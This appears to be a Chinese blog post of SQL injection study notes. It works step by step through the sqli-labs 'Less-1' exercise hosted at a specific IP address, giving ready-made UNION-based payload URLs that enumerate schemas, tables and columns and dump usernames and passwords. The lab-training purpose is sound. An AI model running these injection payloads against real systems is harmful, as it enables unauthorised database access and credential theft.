10月 2023 的存档 - Fantasy
2023年10月 的存档

PTE-SQL注入

第一章 SQL注入

1、找寻注入点

2、判断注入类型

a.数字型 b.字符型

http://49.235.78.245:1111/Less-1/?id=1 and 1=1

http://49.235.78.245:1111/Less-1/?id=1 and 1=2

看看是否正常,如果都正常,说明a—nd后面的1=1,1=2没有生效。说明是字符型注入,有闭合。

3、判断闭合方式

字符型注入闭合方式:‘ ” ) ‘) “) % %)

注释方法: %23 –+ # %00

http://49.235.78.245:1111/Less-1/?id=1 and 1=1 %23 #显示查询结果

http://49.235.78.245:1111/Less-1/?id=1 and 1=2 %23 #不显示查询结果

说明闭合方式为 : ‘

4、判断列数 (order by

order by 排序函数 参数大于实际列数时,会报错。 以此来判断列数

http://49.235.78.245:1111/Less-1/?id=1′ order by 3 %23

5、联合查询 union selcet

http://49.235.78.245:1111/Less-1/?id=-1′ union select 1,2,3 %23

http://49.235.78.245:1111/Less-1/?id=-1′ union select 1,database(),version() %23

通过显示情况判断回显位置。

MySQL 常用表

information_schema.schemata #存储数据库中所有数据库的库名

information_schema.tables #存储数据库中所有数据表的表名

information_schema.columns #存储数据库中所有列的列名

常用字段

table_schema #数据库名称

table_name #数据表名称

column_name #列名称

依次查询:

查询所有库名

http://49.235.78.245:1111/Less-1/?id=-1′ union select 1,group_concat(schema_name),3 from information_schema.schemata %23

查询所有表名

http://49.235.78.245:1111/Less-1/?id=-1′ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’ %23

查询列名称

http://49.235.78.245:1111/Less-1/?id=-1′ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=”users” %23

查询结果

http://49.235.78.245:1111/Less-1/?id=-2′ union select 1,group_concat(“@”, id,”:”,username,”:”,password,”@”),3 from users %23

阅读更多…
watch glee episodes joomla themes Wordpress主题站 templates2joomla